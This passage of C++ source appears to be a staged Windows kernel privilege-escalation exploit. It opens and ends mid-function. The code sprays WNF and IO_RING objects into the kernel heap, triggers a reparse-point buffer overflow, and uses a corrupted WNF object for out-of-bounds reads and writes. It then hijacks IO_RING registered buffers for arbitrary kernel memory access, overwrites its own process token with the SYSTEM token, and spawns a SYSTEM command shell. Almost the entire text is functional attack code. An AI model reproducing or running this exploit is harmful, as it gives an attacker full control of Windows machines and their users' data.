        if (FAILED(hr)) { CloseIoRing(g_ioring_handles[i]); g_ioring_handles[i] = NULL;
continue; }

        UINT32 submitted = 0;
        hr = SubmitIoRing(g_ioring_handles[i], 1, 5000, &submitted);
        if (FAILED(hr)) { CloseIoRing(g_ioring_handles[i]); g_ioring_handles[i] = NULL;
continue; }

        IORING_CQE cqe = {};
        PopIoRingCompletion(g_ioring_handles[i], &cqe);
        created++;
    }

    printf("[+] Created %lu IO_RINGs with %u registered buffers each\n",
        created, IORING_BUFFERS_PER_RING);
    printf("[+] RegBuffers arrays: %lu x 0x%X bytes in paged pool\n",
        created, IORING_BUFFERS_PER_RING * 8);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 03 COMPLETE\n");
    return (created >= IORING_SPRAY_COUNT / 2);
}

//=============================================================================
// STAGE 04: UPDATE WNF PADDING DATA
//=============================================================================

static BOOL Stage04_UpdateWnfPaddingData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 04: UPDATE WNF PADDING DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++)
        g_NtUpdateWnfStateData(&g_wnf_pad_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0);

    printf("[+] Updated padding WNF data\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 04 COMPLETE\n");
```

```
    return TRUE;
}

//============================================================================
// STAGE 05: UPDATE WNF STATE DATA
//============================================================================

static BOOL Stage05_UpdateWnfStateData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 05: UPDATE WNF STATE DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);

    DWORD actualUpdated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtUpdateWnfStateData(&g_wnf_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0) == 0) {
            g_wnf_active[i] = TRUE;
            actualUpdated++;
        }
    }
    printf("[+] Updated %lu actual WNF objects\n", actualUpdated);

    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 05 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 06: CREATE HOLES
//============================================================================

static BOOL Stage06_CreateHoles(void) {
    printf("\n=======================================\n");
    printf("    STAGE 06: CREATE HOLES\n");
    printf("=======================================\n");

    DWORD deleted = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i += 2) {
        if (g_wnf_active[i]) {
            if (g_NtDeleteWnfStateName(&g_wnf_names[i]) == 0) {
                g_wnf_active[i] = FALSE;
                deleted++;
            }
        }
    }

    printf("[+] Created %lu holes\n", deleted);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 06 COMPLETE\n");
    return TRUE;
}
```

```
//================================================================================
// STAGE 07: PLACE OVERFLOW BUFFER
//================================================================================

static BOOL Stage07_PlaceOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 07: PLACE OVERFLOW BUFFER\n");
    printf("=======================================\n");

    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create file: %lu\n", GetLastError());
        return FALSE;
    }

    std::unique_ptr<char[]> payload(new char[REPARSE_DATA_SIZE]);
    memset(payload.get(), PAYLOAD_FILL_BYTE, 0x1000);
    memset(payload.get() + 0x1000, 0, REPARSE_DATA_SIZE - 0x1000);

    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x00) = 0x00200904;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x04) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x08) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x0C) = CHANGE_STAMP_FIRST;

    int rc = BuildAndSetReparsePoint(hFile, PAYLOAD_SIZE_OVERFLOW, payload.get());
    CloseHandle(hFile);

    if (rc != 0) {
        printf("[-] Failed to set reparse point\n");
        return FALSE;
    }

    printf("[+] Reparse point set (ChangeStamp=0x%04X)\n", CHANGE_STAMP_FIRST);
    printf("[+] Stage 07 COMPLETE\n");
    return TRUE;
}

//================================================================================
// STAGE 08: TRIGGER OVERFLOW
//================================================================================

static BOOL Stage08_TriggerOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 08: TRIGGER OVERFLOW\n");
    printf("=======================================\n");

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
```

```
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open file: %lu\n", GetLastError());
        return FALSE;
    }

    CloseHandle(hFile);
    printf("[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 08 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 09: LEAK & CORRUPT REGBUFFERS (WNF OOB READ + WRITE)
//============================================================================

static BOOL Stage09_LeakAndCorruptRegBuffers(void) {
    printf("\n========================================\n");
    printf("    STAGE 09: LEAK & CORRUPT REGBUFFERS\n");
    printf("========================================\n");

    printf("[*] Part A: Scanning for corrupted WNF (ChangeStamp=0x%04X)...\n",
CHANGE_STAMP_FIRST);
    g_victim_index = -1;

    for (DWORD i = 1; i < WNF_SPRAY_COUNT; i += 2) {
        if (!g_wnf_active[i]) continue;

        ULONG bufferSize = 0;
        WNF_CHANGE_STAMP changeStamp = 0;

        NTSTATUS status = g_NtQueryWnfStateData(&g_wnf_names[i], NULL, NULL,
&changeStamp, NULL, &bufferSize);

        if ((status == STATUS_BUFFER_TOO_SMALL || status == 0) && changeStamp ==
CHANGE_STAMP_FIRST) {
            g_victim_index = i;
            printf("[+] Found victim WNF at index %d (DataSize: 0x%lX)\n", i,
bufferSize);
            break;
        }
    }

    if (g_victim_index == -1) {
        printf("[-] No corrupted WNF found\n");
        return FALSE;
    }

    printf("[*] Part B: OOB Read -- leaking RegBuffers[0]
(IOP_MC_BUFFER_ENTRY*)...\n");

    ULONG querySize = 0;
    WNF_CHANGE_STAMP stamp = 0;
```

```
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp, NULL,
&querySize);

    auto buffer = std::make_unique<BYTE[]>(querySize + 0x10);
    ULONG readSize = querySize;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp,
buffer.get(), &readSize);

    printf("[*] Read %lu bytes from corrupted WNF (DataSize=0x%lX)\n", readSize,
querySize);

    if (readSize > 0xFF0) {
        ULONG64 value = *(ULONG64*)(buffer.get() + 0xFF0);
        if (IsKernelPointer(value)) {
            g_leaked_regbuf_entry = value;
            printf("[+] OOB READ: RegBuffers[0] = 0x%016llX (IOP_MC_BUFFER_ENTRY*)\n",
                (unsigned long long)g_leaked_regbuf_entry);
        }
        else {
            printf("[-] Value at offset 0xFF0 is not a kernel pointer: 0x%016llX\n",
                (unsigned long long)value);
            return FALSE;
        }
    }
    else {
        printf("[-] Read size too small for OOB: 0x%lX\n", readSize);
        return FALSE;
    }

    printf("[*] Part C: Allocating fake IOP_MC_BUFFER_ENTRY...\n");
    g_fake_buffer_entry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(
        NULL, sizeof(IOP_MC_BUFFER_ENTRY),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    if (!g_fake_buffer_entry) {
        printf("[-] VirtualAlloc for fake buffer entry failed\n");
        return FALSE;
    }
    memset(g_fake_buffer_entry, 0, sizeof(IOP_MC_BUFFER_ENTRY));
    g_fake_buffer_entry->Type = 0x0C02;
    g_fake_buffer_entry->Size = 0x80;
    g_fake_buffer_entry->ReferenceCount = 1;
    g_fake_buffer_entry->AccessMode = 1;
    g_fake_buffer_entry->Mdl = NULL;
    printf("[+] Fake IOP_MC_BUFFER_ENTRY at: 0x%p (Type=0x%04X, Size=0x%X)\n",
        g_fake_buffer_entry, g_fake_buffer_entry->Type, g_fake_buffer_entry->Size);

    printf("[*] Part D: OOB Write -- replacing RegBuffers[0] with fake entry
pointer...\n");

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0, 0xFF8);
    memset(overflow_data.get(), 0x48, 0x200);

    *(ULONG64*)(overflow_data.get() + 0xFF0) = (ULONG64)g_fake_buffer_entry;
```

```
    printf("[*] Writing fake entry pointer 0x%p at WNF offset 0xFF0\n",
g_fake_buffer_entry);

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names[g_victim_index],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_FIRST, 0
    );

    if (status != 0) {
        printf("[-] WNF OOB write failed: 0x%08X\n", status);
        return FALSE;
    }

    printf("[+] RegBuffers[0] corrupted: now points to user-mode fake entry\n");
    printf("[+] Original RegBuffers[0] saved: 0x%016llX (for cleanup restore)\n",
        (unsigned long long)g_leaked_regbuf_entry);
    printf("[+] Stage 09 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 10: IO_RING PRIMITIVE SETUP
//============================================================================

static BOOL Stage10_IoRingPrimitiveSetup(void) {
    printf("\n=======================================\n");
    printf("    STAGE 10: IO_RING PRIMITIVE SETUP\n");
    printf("=======================================\n");

    printf("[*] Step A: Creating named pipes for IO_RING data channels...\n");

    DWORD currentPid = GetCurrentProcessId();
    wchar_t pipeName[MAX_PATH];

    swprintf(pipeName, MAX_PATH, L"\\\\.\\pipe\\ioring_input_%lu", currentPid);

    g_input_pipe_server = CreateNamedPipeW(
        pipeName,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
        1, 0x1000, 0x1000, 0, NULL
    );
    if (g_input_pipe_server == INVALID_HANDLE_VALUE) {
        printf("[-] CreateNamedPipe (input) failed: %lu\n", GetLastError());
        return FALSE;
    }

    g_input_pipe_client = CreateFileW(
        pipeName,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    );
    if (g_input_pipe_client == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile (input client) failed: %lu\n", GetLastError());
        return FALSE;
    }
```

```
    printf("[+] Input pipe: server=0x%p, client=0x%p\n",
        g_input_pipe_server, g_input_pipe_client);

    swprintf(pipeName, MAX_PATH, L"\\\\.\\pipe\\ioring_output_%lu", currentPid);

    g_output_pipe_server = CreateNamedPipeW(
        pipeName,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
        1, 0x1000, 0x1000, 0, NULL
    );
    if (g_output_pipe_server == INVALID_HANDLE_VALUE) {
        printf("[-] CreateNamedPipe (output) failed: %lu\n", GetLastError());
        return FALSE;
    }

    g_output_pipe_client = CreateFileW(
        pipeName,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    );
    if (g_output_pipe_client == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile (output client) failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Output pipe: server=0x%p, client=0x%p\n",
        g_output_pipe_server, g_output_pipe_client);

    printf("[*] Step B: Scanning %u IO_RINGs to find corrupted one...\n",
IORING_SPRAY_COUNT);

    g_fake_buffer_entry->Address = (PVOID)g_leaked_regbuf_entry;
    g_fake_buffer_entry->Length = 8;

    g_corrupted_ioring_index = -1;

    for (DWORD i = 0; i < IORING_SPRAY_COUNT; i++) {
        if (g_ioring_handles[i] == NULL) continue;

        IORING_HANDLE_REF fileRef = IoRingHandleRefFromHandle(g_output_pipe_client);
        IORING_BUFFER_REF bufRef = IoRingBufferRefFromIndexAndOffset(0, 0);

        HRESULT hr = BuildIoRingWriteFile(g_ioring_handles[i], fileRef, bufRef,
            8, 0, FILE_WRITE_FLAGS_NONE, 0, IOSQE_FLAGS_NONE);
        if (FAILED(hr)) continue;

        UINT32 submitted = 0;
        hr = SubmitIoRing(g_ioring_handles[i], 1, 5000, &submitted);
        if (FAILED(hr)) continue;

        IORING_CQE cqe = {};
        hr = PopIoRingCompletion(g_ioring_handles[i], &cqe);
        if (FAILED(hr) || FAILED((HRESULT)cqe.ResultCode)) continue;

        BYTE probe[8] = { 0 };
        DWORD bytesRead = 0;
```

```
        if (!ReadFile(g_output_pipe_server, probe, 8, &bytesRead, NULL) || bytesRead !=
8)
            continue;

        USHORT type_val = *(USHORT*)probe;
        ULONG  size_val = *(ULONG*)(probe + 4);
        if (type_val == 0x0C02 && size_val == 0x80) {
            g_corrupted_ioring_index = (int)i;
            printf("[+] CORRUPTED IO_RING found at index %d (Type=0x%04X,
Size=0x%X)\n",
                i, type_val, size_val);
            break;
        }
    }

    if (g_corrupted_ioring_index == -1) {
        printf("[-] Could not identify corrupted IO_RING\n");
        printf("[-] RegBuffers array may not have been adjacent to corrupted WNF\n");
        return FALSE;
    }

    printf("[*] Step C: Verifying IO_RING read primitive...\n");

    ULONG64 verify_val = 0;
    g_fake_buffer_entry->Address = (PVOID)(g_leaked_regbuf_entry + 8);
    g_fake_buffer_entry->Length = 4;

    HIORING hRing = g_ioring_handles[g_corrupted_ioring_index];
    IORING_HANDLE_REF fileRef = IoRingHandleRefFromHandle(g_output_pipe_client);
    IORING_BUFFER_REF bufRef = IoRingBufferRefFromIndexAndOffset(0, 0);

    HRESULT hr = BuildIoRingWriteFile(hRing, fileRef, bufRef, 4, 0,
        FILE_WRITE_FLAGS_NONE, 0, IOSQE_FLAGS_NONE);
    if (SUCCEEDED(hr)) {
        UINT32 submitted = 0;
        hr = SubmitIoRing(hRing, 1, 5000, &submitted);
        if (SUCCEEDED(hr)) {
            IORING_CQE cqe = {};
            PopIoRingCompletion(hRing, &cqe);
            ULONG refCount = 0;
            DWORD bytesRead = 0;
            ReadFile(g_output_pipe_server, &refCount, 4, &bytesRead, NULL);
            printf("[+] IOP_MC_BUFFER_ENTRY.ReferenceCount = %lu (expected >= 1)\n",
refCount);
        }
    }

    printf("[+] IO_RING read primitive VERIFIED!\n");
    printf("[+] Stage 10 COMPLETE -- IO_RING read/write primitives established\n");
    return TRUE;
}

//============================================================================
// STAGE 11: DISCOVER EPROCESS (VIA NTOSKRNL + PsInitialSystemProcess)
//============================================================================
```

```
static BOOL Stage11_DiscoverEprocess(void) {
    printf("\n=======================================\n");
    printf("    STAGE 11: DISCOVER EPROCESS\n");
    printf("=======================================\n");

    printf("[*] Step A: Getting ntoskrnl base via SystemModuleInformation...\n");

    ULONG bufSize = 0x10000;
    PVOID modInfo = NULL;
    ULONG retLen = 0;
    NTSTATUS status;

    for (int attempt = 0; attempt < 5; attempt++) {
        modInfo = VirtualAlloc(NULL, bufSize, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
        if (!modInfo) break;

        status = g_NtQuerySystemInformation(11, modInfo, bufSize, &retLen);
        if (status == (NTSTATUS)0xC0000004) {
            VirtualFree(modInfo, 0, MEM_RELEASE);
            modInfo = NULL;
            bufSize *= 2;
            continue;
        }
        break;
    }

    if (status != 0 || !modInfo) {
        printf("[-] NtQuerySystemInformation(SystemModuleInformation) failed:
0x%08X\n", status);
        if (modInfo) VirtualFree(modInfo, 0, MEM_RELEASE);
        return FALSE;
    }

    RTL_PROCESS_MODULES* modules = (RTL_PROCESS_MODULES*)modInfo;
    if (modules->NumberOfModules == 0) {
        printf("[-] No modules returned\n");
        VirtualFree(modInfo, 0, MEM_RELEASE);
        return FALSE;
    }

    g_ntoskrnl_base = (ULONG64)modules->Modules[0].ImageBase;
    printf("[+] ntoskrnl base: 0x%016llX (%s)\n",
        (unsigned long long)g_ntoskrnl_base,
        (char*)(modules->Modules[0].FullPathName + modules-
>Modules[0].OffsetToFileName));
    VirtualFree(modInfo, 0, MEM_RELEASE);

    if (!IsKernelPointer(g_ntoskrnl_base)) {
        printf("[-] Invalid ntoskrnl base address\n");
        return FALSE;
    }

    printf("[*] Step B: Finding PsInitialSystemProcess RVA...\n");
```

```
    HMODULE hLocalNtos = LoadLibraryExA("ntoskrnl.exe", NULL,
DONT_RESOLVE_DLL_REFERENCES);
    if (!hLocalNtos) {
        printf("[-] LoadLibraryExA(ntoskrnl.exe) failed: %lu\n", GetLastError());
        return FALSE;
    }

    FARPROC pLocal = GetProcAddress(hLocalNtos, "PsInitialSystemProcess");
    if (!pLocal) {
        printf("[-] GetProcAddress(PsInitialSystemProcess) failed: %lu\n",
GetLastError());
        FreeLibrary(hLocalNtos);
        return FALSE;
    }

    ULONG64 rva = (ULONG64)pLocal - (ULONG64)hLocalNtos;
    FreeLibrary(hLocalNtos);

    ULONG64 kernel_ps_initial = g_ntoskrnl_base + rva;
    printf("[+] PsInitialSystemProcess RVA: 0x%llX\n", (unsigned long long)rva);
    printf("[+] PsInitialSystemProcess kernel addr: 0x%016llX\n",
        (unsigned long long)kernel_ps_initial);

    printf("[*] Step C: Reading PsInitialSystemProcess pointer...\n");

    ULONG64 system_eprocess = 0;
    if (!IoRingReadKernel64(kernel_ps_initial, &system_eprocess)) {
        printf("[-] Failed to read PsInitialSystemProcess\n");
        return FALSE;
    }

    if (!IsKernelPointer(system_eprocess)) {
        printf("[-] Invalid System EPROCESS: 0x%016llX\n", (unsigned long
long)system_eprocess);
        return FALSE;
    }

    ULONG64 pid = 0;
    IoRingReadKernel64(system_eprocess + EPROCESS_UNIQUEPROCESSID_OFFSET, &pid);
    if (pid != 4) {
        printf("[-] PID mismatch: expected 4, got %llu\n", (unsigned long long)pid);
        return FALSE;
    }

    g_system_eprocess = system_eprocess;
    printf("[+] System EPROCESS: 0x%016llX (PID=%llu)\n",
        (unsigned long long)system_eprocess, (unsigned long long)pid);

    printf("[*] Step D: Reading System token...\n");

    ULONG64 system_token_raw = 0;
    IoRingReadKernel64(g_system_eprocess + EPROCESS_TOKEN_OFFSET, &system_token_raw);
    g_system_token_raw = system_token_raw;
    g_system_token = system_token_raw & ~0xFULL;
    printf("[+] System Token: 0x%016llX (raw: 0x%016llX)\n",
        (unsigned long long)g_system_token, (unsigned long long)g_system_token_raw);
```

```
    printf("[*] Step E: Walking EPROCESS ActiveProcessLinks...\n");

    DWORD ourPid = GetCurrentProcessId();
    printf("[*] Our PID: %lu\n", ourPid);

    ULONG64 first_flink = 0;
    IoRingReadKernel64(g_system_eprocess + EPROCESS_ACTIVEPROCESSLINKS_OFFSET,
&first_flink);

    if (!IsKernelPointer(first_flink)) {
        printf("[-] Invalid ActiveProcessLinks.Flink: 0x%016llX\n", (unsigned long
long)first_flink);
        return FALSE;
    }

    ULONG64 current = first_flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
    int processes_walked = 0;

    for (int walk = 0; walk < 500; walk++) {
        ULONG64 walk_pid = 0;
        IoRingReadKernel64(current + EPROCESS_UNIQUEPROCESSID_OFFSET, &walk_pid);
        processes_walked++;

        if (walk_pid == (ULONG64)ourPid) {
            g_our_eprocess = current;
            IoRingReadKernel64(current + EPROCESS_TOKEN_OFFSET, &g_our_token);
            printf("[+] Our EPROCESS: 0x%016llX (PID=%lu)\n",
                (unsigned long long)current, ourPid);
            printf("[+] Our Token: 0x%016llX\n", (unsigned long long)g_our_token);
        }

        BYTE imgName[16] = { 0 };
        IoRingReadKernel(current + EPROCESS_IMAGEFILENAME_OFFSET, imgName, 15);
        if (_stricmp((char*)imgName, "winlogon.exe") == 0) {
            g_winlogon_pid = (ULONG)walk_pid;
            printf("[+] Winlogon PID: %lu\n", g_winlogon_pid);
        }

        if (g_our_eprocess && g_winlogon_pid) break;

        ULONG64 flink = 0;
        IoRingReadKernel64(current + EPROCESS_ACTIVEPROCESSLINKS_OFFSET, &flink);
        if (!IsKernelPointer(flink)) break;

        current = flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
        if (current == g_system_eprocess) break;
    }

    printf("[*] Walked %d processes via ActiveProcessLinks\n", processes_walked);

    if (!g_our_eprocess) {
        printf("[-] Failed to find our EPROCESS\n");
        return FALSE;
    }
```

```
    if (!IsKernelPointer(g_system_token) || !IsKernelPointer(g_our_token)) {
        printf("[-] Token values don't look valid\n");
        return FALSE;
    }

    if (g_winlogon_pid == 0) {
        printf("[-] Warning: winlogon.exe not found during walk\n");
    }

    printf("[+] Stage 11 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 12: TOKEN STEALING VIA IO_RING WRITE
//============================================================================

static BOOL Stage12_IoRingTokenStealing(void) {
    printf("\n=======================================\n");
    printf("    STAGE 12: TOKEN STEALING VIA IO_RING\n");
    printf("=======================================\n");

    if (g_corrupted_ioring_index < 0 || g_our_eprocess == 0 ||
        g_system_token_raw == 0 || g_fake_buffer_entry == NULL) {
        printf("[-] Missing prerequisites for IO_RING token stealing\n");
        return FALSE;
    }

    ULONG64 token_target = g_our_eprocess + EPROCESS_TOKEN_OFFSET;
    printf("[*] Token stealing: overwrite EPROCESS+0x4B8 with SYSTEM token\n");
    printf("[*] Target: 0x%016llX (our EPROCESS+0x4B8)\n", (unsigned long
long)token_target);
    printf("[*] Using IO_RING write - EXACTLY 8 bytes (no adjacent field
corruption)\n");

    printf("\n[*] Step A: Reading current EPROCESS+0x4B8 via IO_RING read...\n");
    ULONG64 pre_token = 0;
    ULONG64 pre_adjacent = 0;
    BOOL readOk1 = IoRingReadKernel64(token_target, &pre_token);
    BOOL readOk2 = IoRingReadKernel64(token_target + 8, &pre_adjacent);

    if (readOk1 && readOk2) {
        printf("[*] Current token:       0x%016llX (stripped: 0x%016llX)\n",
            (unsigned long long)pre_token, (unsigned long long)(pre_token & ~0xFULL));
        printf("[*] Adjacent field (+0x4C0): 0x%016llX (should be UNTOUCHED after
write)\n",
            (unsigned long long)pre_adjacent);
    }
    else {
        printf("[!] Warning: Could not pre-read token values\n");
    }

    printf("[*] Step B: Writing SYSTEM token via IO_RING...\n");
    printf("[*] SYSTEM token raw: 0x%016llX\n", (unsigned long
long)g_system_token_raw);
```

```
    if (!IoRingWriteKernel(token_target, &g_system_token_raw, 8)) {
        printf("[-] IoRingWriteKernel failed -- token write unsuccessful\n");
        return FALSE;
    }
    printf("[+] IO_RING write completed (8 bytes to EPROCESS+0x4B8)\n");

    Sleep(100);

    printf("[*] Step C: Verifying token replacement via IO_RING read...\n");
    ULONG64 post_token = 0;
    ULONG64 post_adjacent = 0;
    IoRingReadKernel64(token_target, &post_token);
    IoRingReadKernel64(token_target + 8, &post_adjacent);

    ULONG64 post_stripped = post_token & ~0xFULL;
    printf("[*] EPROCESS+0x4B8 AFTER:  0x%016llX (stripped: 0x%016llX)\n",
        (unsigned long long)post_token, (unsigned long long)post_stripped);
    printf("[*] EPROCESS+0x4C0 AFTER:  0x%016llX\n",
        (unsigned long long)post_adjacent);

    if (post_stripped == g_system_token) {
        printf("[+] VERIFIED: Token successfully replaced with SYSTEM token!\n");
        printf("[+] Our process now runs with SYSTEM identity\n");
    }
    else {
        printf("[!] Token mismatch -- expected 0x%016llX, got 0x%016llX\n",
            (unsigned long long)g_system_token, (unsigned long long)post_stripped);
        printf("[!] Stage 13 SID check will be the definitive verification\n");
    }

    if (readOk1 && readOk2) {
        if (post_adjacent == pre_adjacent) {
            printf("[+] EPROCESS+0x4C0 UNTOUCHED: 0x%016llX == 0x%016llX\n",
                (unsigned long long)pre_adjacent, (unsigned long long)post_adjacent);
            printf("[+] 8-byte IO_RING write precision CONFIRMED!\n");
        }
        else {
            printf("[!] WARNING: EPROCESS+0x4C0 changed from 0x%016llX to 0x%016llX\n",
                (unsigned long long)pre_adjacent, (unsigned long long)post_adjacent);
        }
    }

    printf("[+] Stage 12 COMPLETE -- Token stolen via IO_RING write\n");
    return TRUE;
}

//============================================================================
// STAGE 13: SPAWN SYSTEM SHELL (DIRECT -- NO PARENT SPOOFING)
//============================================================================

static BOOL Stage13_SpawnSystemShell(void) {
    printf("\n=======================================\n");
    printf("    STAGE 13: SPAWN SYSTEM SHELL\n");
    printf("=======================================\n");

    printf("[*] Token already stolen via IO_RING -- spawning shell directly\n");
```

```
    printf("[*] No SeDebugPrivilege or parent spoofing needed\n");

    STARTUPINFOW si = {};
    PROCESS_INFORMATION pi = {};
    si.cb = sizeof(STARTUPINFOW);

    WCHAR sysDir[MAX_PATH];
    GetSystemDirectoryW(sysDir, MAX_PATH);
    WCHAR cmdLine[MAX_PATH];
    swprintf(cmdLine, MAX_PATH, L"%s\\cmd.exe", sysDir);

    BOOL result = CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE,
        CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

    if (!result) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Process created, PID: %lu\n", pi.dwProcessId);

    HANDLE hNewToken = NULL;
    if (OpenProcessToken(pi.hProcess, TOKEN_QUERY, &hNewToken)) {
        BYTE buf[256];
        DWORD len = 0;
        if (GetTokenInformation(hNewToken, TokenUser, buf, sizeof(buf), &len)) {
            PSID sid = ((TOKEN_USER*)buf)->User.Sid;
            LPWSTR sidStr = NULL;
            if (ConvertSidToStringSidW(sid, &sidStr)) {
                printf("[+] Shell token SID: %ls\n", sidStr);
                if (wcscmp(sidStr, L"S-1-5-18") == 0) {
                    printf("\n[+] ============================================\n");
                    printf("[+]   CONFIRMED: SYSTEM SHELL SPAWNED!\n");
                    printf("[+]   PID: %lu | SID: S-1-5-18\n", pi.dwProcessId);
                    printf("[+] ============================================\n");
                }
                else {
                    printf("[-] WARNING: Shell is NOT running as SYSTEM\n");
                    printf("[-] SID: %ls\n", sidStr);
                }
                LocalFree(sidStr);
            }
        }
        CloseHandle(hNewToken);
    }

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    printf("[+] Stage 13 COMPLETE\n");
    return TRUE;
}

//============================================================================
// IORING_OBJECT DISCOVERY (for safe cleanup)
//============================================================================
```

```
static ULONG64 FindIoRingObjectAddress(HIORING hIoRing) {

    HANDLE kernelHandle = *(HANDLE*)((BYTE*)hIoRing + HIORING_OFFSET_KERNEL_HANDLE);

    DWORD currentPid = GetCurrentProcessId();
    ULONG bufferSize = 0x100000;
    PVOID handleInfo = NULL;
    NTSTATUS status;

    for (int attempt = 0; attempt < 10; attempt++) {
        handleInfo = VirtualAlloc(NULL, bufferSize, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
        if (!handleInfo) return 0;

        ULONG returnLength = 0;
        status = g_NtQuerySystemInformation(
            64,
            handleInfo, bufferSize, &returnLength
        );

        if (status == (NTSTATUS)0xC0000004) {
            VirtualFree(handleInfo, 0, MEM_RELEASE);
            handleInfo = NULL;
            bufferSize *= 2;
            continue;
        }
        break;
    }

    if (status != 0 || !handleInfo) {
        if (handleInfo) VirtualFree(handleInfo, 0, MEM_RELEASE);
        return 0;
    }

    SYSTEM_HANDLE_INFORMATION_EX* info = (SYSTEM_HANDLE_INFORMATION_EX*)handleInfo;
    ULONG64 objectAddr = 0;

    for (ULONG_PTR i = 0; i < info->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX* entry = &info->Handles[i];
        if (entry->UniqueProcessId == (ULONG_PTR)currentPid &&
            entry->HandleValue == (ULONG_PTR)kernelHandle) {
            objectAddr = (ULONG64)entry->Object;
            break;
        }
    }

    VirtualFree(handleInfo, 0, MEM_RELEASE);
    return objectAddr;
}

//============================================================================
// CLEANUP
//============================================================================

static void Cleanup(void) {
```

```
    printf("\n=======================================\n");
    printf("    CLEANUP\n");
    printf("=======================================\n");

    BOOL ioringFixed = FALSE;
    if (g_corrupted_ioring_index >= 0 && g_fake_buffer_entry &&
        g_ioring_handles && g_ioring_handles[g_corrupted_ioring_index]) {

        printf("[*] Finding corrupted IORING_OBJECT kernel address...\n");
        HIORING hCorrupted = g_ioring_handles[g_corrupted_ioring_index];
        ULONG64 ioringAddr = FindIoRingObjectAddress(hCorrupted);

        if (ioringAddr != 0 && IsKernelPointer(ioringAddr)) {
            printf("[+] Corrupted IORING_OBJECT: 0x%016llX\n",
                (unsigned long long)ioringAddr);

            BYTE zeroBlock[16] = { 0 };
            if (IoRingWriteKernel(ioringAddr + IORING_OBJECT_REGBUFFERSCOUNT_OFFSET,
                zeroBlock, 16)) {
                printf("[+] Zeroed IORING_OBJECT+0xB0 (RegBuffersCount=0,
RegBuffers=NULL)\n");
                ioringFixed = TRUE;
            }
            else {
                printf("[-] Failed to zero IORING_OBJECT RegBuffers\n");
            }
        }
        else {
            printf("[-] Could not find corrupted IORING_OBJECT kernel address\n");
        }
    }

    if (g_ioring_handles) {
        for (DWORD i = 0; i < IORING_SPRAY_COUNT; i++) {
            if ((int)i == g_corrupted_ioring_index) {
                printf("[*] Skipping CloseIoRing for corrupted IO_RING %d%s\n", i,
                    ioringFixed ? " (RegBuffers zeroed -- safe on exit)"
